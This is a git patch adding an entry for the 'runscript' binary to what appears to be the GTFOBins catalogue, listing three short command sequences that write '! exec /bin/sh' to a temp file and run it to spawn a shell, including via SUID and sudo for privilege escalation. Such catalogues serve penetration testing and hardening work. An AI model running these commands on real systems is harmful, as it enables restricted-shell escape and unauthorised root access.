From fc1370bc2ce88a554523cc0d8f03bf725d868ec5 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 21 Oct 2023 13:36:32 +0200 Subject: [PATCH] Add runscript --- _gtfobins/runscript.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 _gtfobins/runscript.md diff --git a/_gtfobins/runscript.md b/_gtfobins/runscript.md new file mode 100644 index 00000000..a19c1b1a --- /dev/null +++ b/_gtfobins/runscript.md @@ -0,0 +1,17 @@ +--- +functions: + shell: + - code: | + TF=$(mktemp) + echo '! exec /bin/sh' >$TF + runscript $TF + limited-suid: + - code: | + TF=$(mktemp) + echo '! exec /bin/sh' >$TF + ./runscript $TF + sudo: + - code: | + TF=$(mktemp) + echo '! exec /bin/sh' >$TF + sudo runscript $TF